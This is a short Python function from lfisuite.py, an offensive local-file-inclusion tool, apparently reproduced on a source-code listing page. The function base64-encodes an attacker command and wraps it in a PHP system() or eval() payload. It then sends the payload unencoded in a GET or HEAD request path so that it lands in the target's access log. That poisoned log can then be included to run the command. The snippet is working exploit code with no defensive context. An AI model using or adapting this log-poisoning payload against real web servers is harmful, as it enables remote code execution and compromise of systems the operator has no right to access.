lfisuite.py 文件源码

def send_access_log_cmd(cmd,host,keyword):
    path = ""

    if("_PHP" in keyword):
        keyword = keyword[:-4]
        if(" " in cmd):
            b64cmd = base64.b64encode(cmd)
            path = "/<?php eval(base64_decode('%s'));?>" %(b64cmd)
        else:
            path = "/<?php %s?>" %(cmd)
    else:
        b64cmd = base64.b64encode(cmd)
        path = "/<?php system(base64_decode('%s'));?>" %(b64cmd)

    s = NoURLEncodingSession()
    url = "%s/%s" %(host,path)

    if("GET" in keyword):
        s.get(url, headers=gen_headers)
    else:
        s.head(url, headers=gen_headers)